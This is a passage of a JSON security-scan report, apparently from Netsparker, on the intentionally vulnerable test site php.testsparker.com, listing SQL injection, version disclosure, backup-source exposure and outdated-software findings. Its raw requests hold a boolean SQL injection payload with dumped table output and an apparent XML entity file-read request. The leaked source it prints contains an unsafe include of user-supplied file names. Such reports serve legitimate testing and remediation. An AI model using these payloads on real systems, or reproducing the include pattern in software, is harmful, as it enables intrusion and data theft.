  • \n\t\t\t\t\t

    Tags

    \n\t\t\t\t\t

    netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion

    \n\t\t\t\t
  • \n\t\t\t\t
  • \n\t\t\t\t\t

    Inner Pages

    \n\t\t\t\t\t\n\t\t\t\t
  • \n\t\t\t\t
  • \n\t\t\t\t\t

    Links

    \n\t\t\t\t\t\n\t\t\t\t
  • \n\t\t\t
\n\t\t
\t\t\n\t\t
 
\n\t
\n\t
\n\t
\n\t\n
\n\n
\n\tThis website is automatically reset at every midnight (00:00 - UTC).\n
\n
\n\t\t

Copyright (c) 2010 testsparker.com. All rights reserved. Design by Free CSS Templates.

\n\t
\t\n\n\n", + "Duration": 180.5509, + "StatusCode": 200 + }, + "LookupId": "dbd0a5a8-18d2-471a-7b37-ad490211f0f0", + "Impact": "
Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:\n\n
", + "KnownVulnerabilities": [], + "LastSeenDate": "25/06/2021 02:01 AM", + "Name": "Boolean Based SQL Injection", + "ProofOfConcept": "", + "RemedialActions": "
\n
    \n
  1. See the remedy for solution.
  2. \n
  3. If you are not using a database access layer (DAL), consider using one. This will help you centralize the issue. You can also use ORM (object relational mapping). Most of the ORM systems use only parameterized queries and this can solve the whole SQL injection problem.
  4. \n
  5. Locate all of the dynamically generated SQL queries and convert them to parameterized queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries.)
  6. \n
  7. Use your weblogs and application logs to see if there were any previous but undetected attacks to this resource.
  8. \n
\n
", + "RemedialProcedure": "
The best way to protect your code against SQL injections is using parameterized queries (prepared statements). Almost all modern languages provide built-in libraries for this. Wherever possible, do not create dynamic SQL queries or SQL queries with string concatenation.
", + "RemedyReferences": "
", + "Severity": "Critical", + "State": "Revived", + "Type": "ConfirmedBooleanSqlInjection", + "Url": "http://php.testsparker.com/artist.php?id=-1%20OR%2017-7%3d10" + }, + { + "Certainty": 90, + "Classification": { + "Iso27001": "A.18.1.3", + "Capec": "170", + "Cvss": { + "BaseScore": { + "Severity": 2, + "Type": "Base", + "Value": "4.3" + }, + "EnvironmentalScore": { + "Severity": 2, + "Type": "Environmental", + "Value": "4.1" + }, + "TemporalScore": { + "Severity": 2, + "Type": "Temporal", + "Value": "4.1" + }, + "Vector": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N/E:H/RL:O/RC:C" + }, + "Cvss31": null, + "Cwe": "205", + "Hipaa": "164.306(a), 164.308(a)", + "Owasp": "A5", + "OwaspProactiveControls": "", + "Pci32": "", + "Wasc": "45" + }, + "Confirmed": false, + "Description": "

Netsparker Enterprise identified a version disclosure (Apache) in the target web server's HTTP response.

\n

This information might help an attacker gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

", + "ExploitationSkills": "", + "ExternalReferences": "", + "ExtraInformation": [ + { + "Name": "Page Type", + "Value": "Other" + }, + { + "Name": "Extracted Version", + "Value": "2.2.8" + } + ], + "FirstSeenDate": "15/06/2021 01:44 PM", + "HttpRequest": { + "Content": "GET / HTTP/1.1\r\nHost: php.testsparker.com\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nCache-Control: no-cache\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36\r\nX-Scanner: Netsparker Enterprise\r\n\r\n", + "Method": "GET", + "Parameters": [] + }, + "HttpResponse": { + "Content": "HTTP/1.1 200 OK\r\nServer: Apache/2.2.8 (Win32) PHP/5.2.6\r\nX-Powered-By: PHP/5.2.6\r\nConnection: Keep-Alive\r\nKeep-Alive: timeout=5, max=150\r\nContent-Length: 136\r\nContent-Type: text/html\r\nDate: Thu, 24 Jun 2021 22:49:09 GMT\r\n\r\n\n\n\n\n", + "Duration": 45.9707, + "StatusCode": 200 + }, + "LookupId": "fbb65b68-873e-4fff-871d-ad48024dd60f", + "Impact": "
An attacker might use the disclosed information to harvest specific security vulnerabilities for the version identified.
", + "KnownVulnerabilities": [], + "LastSeenDate": "25/06/2021 01:52 AM", + "Name": "Version Disclosure (Apache)", + "ProofOfConcept": "", + "RemedialActions": "", + "RemedialProcedure": "
Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
", + "RemedyReferences": "
", + "Severity": "Medium", + "State": "Present", + "Type": "ApacheVersionDisclosure", + "Url": "http://php.testsparker.com/" + }, + { + "Certainty": 90, + "Classification": { + "Iso27001": "A.18.1.3", + "Capec": "170", + "Cvss": { + "BaseScore": { + "Severity": 2, + "Type": "Base", + "Value": "4.3" + }, + "EnvironmentalScore": { + "Severity": 2, + "Type": "Environmental", + "Value": "4.1" + }, + "TemporalScore": { + "Severity": 2, + "Type": "Temporal", + "Value": "4.1" + }, + "Vector": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N/E:H/RL:O/RC:C" + }, + "Cvss31": null, + "Cwe": "205", + "Hipaa": "164.306(a), 164.308(a)", + "Owasp": "A5", + "OwaspProactiveControls": "", + "Pci32": "", + "Wasc": "45" + }, + "Confirmed": false, + "Description": "

Netsparker Enterprise identified a version disclosure (PHP) in target web server's HTTP response.

\n

This information can help an attacker gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.

", + "ExploitationSkills": "", + "ExternalReferences": "", + "ExtraInformation": [ + { + "Name": "Page Type", + "Value": "Other" + }, + { + "Name": "Extracted Version", + "Value": "5.2.6" + } + ], + "FirstSeenDate": "15/06/2021 01:44 PM", + "HttpRequest": { + "Content": "GET / HTTP/1.1\r\nHost: php.testsparker.com\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nCache-Control: no-cache\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36\r\nX-Scanner: Netsparker Enterprise\r\n\r\n", + "Method": "GET", + "Parameters": [] + }, + "HttpResponse": { + "Content": "HTTP/1.1 200 OK\r\nServer: Apache/2.2.8 (Win32) PHP/5.2.6\r\nX-Powered-By: PHP/5.2.6\r\nConnection: Keep-Alive\r\nKeep-Alive: timeout=5, max=150\r\nContent-Length: 136\r\nContent-Type: text/html\r\nDate: Thu, 24 Jun 2021 22:49:09 GMT\r\n\r\n\n\n\n\n", + "Duration": 45.9707, + "StatusCode": 200 + }, + "LookupId": "d765b64b-8f6a-4343-872d-ad48024dd723", + "Impact": "
An attacker might use the disclosed information to harvest specific security vulnerabilities for the version identified.
", + "KnownVulnerabilities": [], + "LastSeenDate": "25/06/2021 01:52 AM", + "Name": "Version Disclosure (PHP)", + "ProofOfConcept": "", + "RemedialActions": "", + "RemedialProcedure": "
Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
", + "RemedyReferences": "", + "Severity": "Medium", + "State": "Present", + "Type": "PhpVersionDisclosure", + "Url": "http://php.testsparker.com/" + }, + { + "Certainty": 50, + "Classification": { + "Iso27001": "A.18.1.3", + "Capec": "87", + "Cvss": { + "BaseScore": { + "Severity": 3, + "Type": "Base", + "Value": "7.5" + }, + "EnvironmentalScore": { + "Severity": 3, + "Type": "Environmental", + "Value": "7.5" + }, + "TemporalScore": { + "Severity": 3, + "Type": "Temporal", + "Value": "7.5" + }, + "Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" + }, + "Cvss31": { + "BaseScore": { + "Severity": 3, + "Type": "Base", + "Value": "7.5" + }, + "EnvironmentalScore": { + "Severity": 3, + "Type": "Environmental", + "Value": "7.5" + }, + "TemporalScore": { + "Severity": 3, + "Type": "Temporal", + "Value": "7.5" + }, + "Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" + }, + "Cwe": "530", + "Hipaa": "164.306(a), 164.308(a)", + "Owasp": "A7", + "OwaspProactiveControls": "", + "Pci32": "6.5.8", + "Wasc": "34" + }, + "Confirmed": false, + "Description": "

Netsparker Enterprise detected backup source code on your web server.

<?php\nrequire("auth.php");\nini_set("display_errors","0");\n\n//global configuration area\n$globals["title"] = "Netsparker Test Web Site -  PHP";\nfunction EndsWith($FullStr, $EndStr)\n{\n    // Get the length of the end string\n    $StrLen = strlen($EndStr);\n    // Look at the end of FullStr for the substring the size of EndStr\n    $FullStrEnd = substr($FullStr, strlen($FullStr) - $StrLen);\n    // If it matches, it does end with EndStr\n    return $FullStrEnd == $EndStr;\n}\n?>\n…\n<?php include "Internals/header.php"?>\n…\n<?php include "Internals/upmenu.php"?>\n…\n<?php\n            $file = $_REQUEST["file"];\n            if(EndsWith($file,".nsp"))\n                include $_REQUEST["file"];\n        ?>\n…\n<?php include "Internals/footer.php"?>
", + "ExploitationSkills": "
This is dependent on the information obtained from source code. Uncovering these forms of vulnerabilities does not require high levels of skills. However, a highly skilled attacker could leverage this form of vulnerability to obtain account information for databases or administrative panels, ultimately leading to control of the application or even the host the application resides on.
", + "ExternalReferences": "
", + "ExtraInformation": [], + "FirstSeenDate": "24/06/2021 10:07 AM", + "HttpRequest": { + "Content": "POST /process.bak HTTP/1.1\r\nHost: php.testsparker.com\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nCache-Control: no-cache\r\nContent-Length: 124\r\nContent-Type: application/xml\r\nCookie: PHPSESSID=e52a07f0fe53c0294ae211bc4481332d\r\nReferer: http://php.testsparker.com/process.bak\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36\r\nX-Scanner: Netsparker Enterprise\r\n\r\n]>&lfi;", + "Method": "POST", + "Parameters": [] + }, + "HttpResponse": { + "Content": "HTTP/1.1 200 OK\r\nServer: Apache/2.2.8 (Win32) PHP/5.2.6\r\nConnection: Keep-Alive\r\nKeep-Alive: timeout=5, max=150\r\nContent-Length: 834\r\nLast-Modified: Thu, 30 Jul 2020 08:09:20 GMT\r\nAccept-Ranges: bytes\r\nContent-Type: text/plain\r\nDate: Thu, 24 Jun 2021 22:55:27 GMT\r\nETag: \"1200000001ba62-342-5aba4307c6c00\"\r\n\r\n\n\n\n\n
\n \n\t \n\t\n
\n\n\n\t\n\n\n", + "Duration": 20.6716, + "StatusCode": 200 + }, + "LookupId": "3937a826-c79e-4b14-7696-ad5101871463", + "Impact": "
Depending on the nature of the source code disclosed, an attacker can mount one or more of the following types of attacks:\n\n
", + "KnownVulnerabilities": [], + "LastSeenDate": "25/06/2021 01:55 AM", + "Name": "Backup Source Code Detected", + "ProofOfConcept": "", + "RemedialActions": "
\n

Remove all temporary and backup files.

\n
", + "RemedialProcedure": "", + "RemedyReferences": "", + "Severity": "High", + "State": "Revived", + "Type": "BackupSourceCodeFound", + "Url": "http://php.testsparker.com/process.bak" + }, + { + "Certainty": 90, + "Classification": { + "Iso27001": "A.14.1.2", + "Capec": "310", + "Cvss": { + "BaseScore": { + "Severity": 2, + "Type": "Base", + "Value": "5.3" + }, + "EnvironmentalScore": { + "Severity": 2, + "Type": "Environmental", + "Value": "5.1" + }, + "TemporalScore": { + "Severity": 2, + "Type": "Temporal", + "Value": "5.1" + }, + "Vector": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N/E:H/RL:O/RC:C" + }, + "Cvss31": null, + "Cwe": "829", + "Hipaa": "164.308(a)(1)(i)", + "Owasp": "A9", + "OwaspProactiveControls": "C1", + "Pci32": "6.2", + "Wasc": "" + }, + "Confirmed": false, + "Description": "

Netsparker Enterprise identified you are using an out-of-date version of Apache.

", + "ExploitationSkills": "", + "ExternalReferences": "", + "ExtraInformation": [ + { + "Name": "Identified Version", + "Value": "2.2.8" + }, + { + "Name": "Latest Version", + "Value": "2.4.48" + }, + { + "Name": "Vulnerability Database", + "Value": "Result is based on 06/18/2021 12:00:00 vulnerability database content." + }, + { + "Name": "Page Type", + "Value": "Other" + } + ], + "FirstSeenDate": "15/06/2021 01:44 PM", + "HttpRequest": { + "Content": "GET / HTTP/1.1\r\nHost: php.testsparker.com\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nCache-Control: no-cache\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36\r\nX-Scanner: Netsparker Enterprise\r\n\r\n", + "Method": "GET", + "Parameters": [] + }, + "HttpResponse": { + "Content": "HTTP/1.1 200 OK\r\nServer: Apache/2.2.8 (Win32) PHP/5.2.6\r\nX-Powered-By: PHP/5.2.6\r\nConnection: Keep-Alive\r\nKeep-Alive: timeout=5, max=150\r\nContent-Length: 136\r\nContent-Type: text/html\r\nDate: Thu, 24 Jun 2021 22:49:09 GMT\r\n\r\n\n\n\n\n", + "Duration": 45.9707, + "StatusCode": 200 + }, + "LookupId": "0e4d0f49-8783-4b29-8718-ad48024dd57e", + "Impact": "
Since this is an old version of the software, it may be vulnerable to attacks.
", + "KnownVulnerabilities": [ + { + "Severity": "Medium", + "Title": "Apache HTTP Server Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Resource Management Errors Vulnerability" + }, + { + "Severity": "High", + "Title": "Apache HTTP Server Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Numeric Errors Vulnerability" + }, + { + "Severity": "Low", + "Title": "Apache HTTP Server Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Cryptographic Issues Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability" + }, + { + "Severity": "Low", + "Title": "Apache HTTP Server Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Improper Input Validation Vulnerability" + }, + { + "Severity": "High", + "Title": "Apache HTTP Server Insufficient Information Vulnerability" + }, + { + "Severity": "High", + "Title": "Apache HTTP Server Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Other Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Cryptographic Issues Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Other Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Other Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "Critical", + "Title": "Apache HTTP Server Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Other Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Other Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Configuration Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Configuration Vulnerability" + }, + { + "Severity": "High", + "Title": "Apache HTTP Server Numeric Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability" + }, + { + "Severity": "High", + "Title": "Apache HTTP Server Resource Management Errors Vulnerability" + }, + { + "Severity": "High", + "Title": "Apache HTTP Server Resource Management Errors Vulnerability" + }, + { + "Severity": "High", + "Title": "Apache HTTP Server Numeric Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server DEPRECATED: Code Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Resource Management Errors Vulnerability" + }, + { + "Severity": "High", + "Title": "Apache HTTP Server Out-of-bounds Read Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server NULL Pointer Dereference Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Improper Neutralization of CRLF Sequences ('CRLF Injection') Vulnerability" + }, + { + "Severity": "Critical", + "Title": "Apache HTTP Server Improper Authentication Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "Apache HTTP Server Use After Free Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "Apache HTTP Server Uncontrolled Resource Consumption Vulnerability" + }, + { + "Severity": "High", + "Title": "Apache HTTP Server Improper Access Control Vulnerability" + }, + { + "Severity": "Critical", + "Title": "Apache HTTP Server Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Critical", + "Title": "Apache HTTP Server Improper Input Validation Vulnerability" + } + ], + "LastSeenDate": "25/06/2021 01:52 AM", + "Name": "Out-of-date Version (Apache)", + "ProofOfConcept": "", + "RemedialActions": "", + "RemedialProcedure": "
\n

Please upgrade your installation of Apache to the latest stable version.

\n
", + "RemedyReferences": "
", + "Severity": "Critical", + "State": "Present", + "Type": "ApacheOutOfDate", + "Url": "http://php.testsparker.com/" + }, + { + "Certainty": 100, + "Classification": { + "Iso27001": "A.14.1.2", + "Capec": "310", + "Cvss": { + "BaseScore": { + "Severity": 3, + "Type": "Base", + "Value": "8.8" + }, + "EnvironmentalScore": { + "Severity": 3, + "Type": "Environmental", + "Value": "8.4" + }, + "TemporalScore": { + "Severity": 3, + "Type": "Temporal", + "Value": "8.4" + }, + "Vector": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:H/RL:O/RC:C" + }, + "Cvss31": null, + "Cwe": "829", + "Hipaa": "164.308(a)(1)(i)", + "Owasp": "A9", + "OwaspProactiveControls": "", + "Pci32": "6.2", + "Wasc": "" + }, + "Confirmed": true, + "Description": "

Netsparker Enterprise identified you are using an out-of-date version of MySQL.

", + "ExploitationSkills": "", + "ExternalReferences": "", + "ExtraInformation": [ + { + "Name": "Identified Version", + "Value": "5.0.51b" + }, + { + "Name": "Latest Version", + "Value": "8.0.25" + }, + { + "Name": "Vulnerability Database", + "Value": "Result is based on 06/18/2021 12:00:00 vulnerability database content." + } + ], + "FirstSeenDate": "16/06/2021 12:35 PM", + "HttpRequest": { + "Content": "GET /artist.php?id=-1%20OR%2017-7%3d10 HTTP/1.1\r\nHost: php.testsparker.com\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nCache-Control: no-cache\r\nCookie: PHPSESSID=e52a07f0fe53c0294ae211bc4481332d\r\nReferer: http://php.testsparker.com/process.php?file=Generics/index.nsp\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36\r\nX-Scanner: Netsparker Enterprise\r\n\r\n", + "Method": "GET", + "Parameters": [ + { + "Name": "id", + "Type": "Querystring", + "Value": "-1 OR 17-7=10", + "Vulnerable": true + } + ] + }, + "HttpResponse": { + "Content": "HTTP/1.1 200 OK\r\nServer: Apache/2.2.8 (Win32) PHP/5.2.6\r\nX-Powered-By: PHP/5.2.6\r\nConnection: Keep-Alive\r\nKeep-Alive: timeout=5, max=150\r\nContent-Type: text/html\r\nTransfer-Encoding: chunked\r\nDate: Thu, 24 Jun 2021 22:51:27 GMT\r\n\r\n\n\n\n\n\n\n\nNetsparker Test Web Site - PHP\n\n\n\n
\n \n\t
\n\t\t\n\t
\n\t\n\t
\n\n\t
\n\t\t
\n\t
\n\t
\n\t\t
\n\t\t\t
\n\t\t\t\t

Artist Service

\n\n\t\t\t\t
 
\n\t\t\t\t
\n\t\t\t\t\t

\n \n

Results: -1 OR 17-7=10


\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
IDNameSURNAMECREATION DATE
2 NICK WAHLBERG 2006-02-15 04:34:33
3 ED CHASE 2006-02-15 04:34:33
4 JENNIFER DAVIS 2006-02-15 04:34:33
5 JOHNNY LOLLOBRIGIDA 2006-02-15 04:34:33
6 BETTE NICHOLSON 2006-02-15 04:34:33
7 GRACE MOSTEL 2006-02-15 04:34:33
8 MATTHEW JOHANSSON 2006-02-15 04:34:33
9 JOE SWANK 2006-02-15 04:34:33
10 CHRISTIAN GABLE 2006-02-15 04:34:33
11 ZERO CAGE 2006-02-15 04:34:33
12 KARL BERRY 2006-02-15 04:34:33
13 UMA WOOD 2006-02-15 04:34:33
14 VIVIEN BERGEN 2006-02-15 04:34:33
15 CUBA OLIVIER 2006-02-15 04:34:33
16 FRED COSTNER 2012-03-13 12:14:54 22
17 HELEN VOIGHT 2012-03-13 12:14:54 22
18 DAN TORN 2012-03-13 12:14:54 22
19 BOB FAWCETT 2012-03-13 12:14:54 22
20 LUCILLE TRACY 2012-03-13 12:14:54 22
21 KIRSTEN PALTROW 2012-03-13 12:14:54 22
22 ELVIS MARX 2012-03-13 12:14:54 22
23 SANDRA KILMER 2012-03-13 12:14:54 22
24 CAMERON STREEP 2012-03-13 12:14:54 22
25 KEVIN BLOOM 2012-03-13 12:14:54 22
26 RIP CRAWFORD 2012-03-13 12:14:54 22
27 JULIA MCQUEEN 2012-03-13 12:14:54 22
28 WOODY HOFFMAN 2012-03-13 12:14:54 22
29 ALEC WAYNE 2012-03-13 12:14:54 22
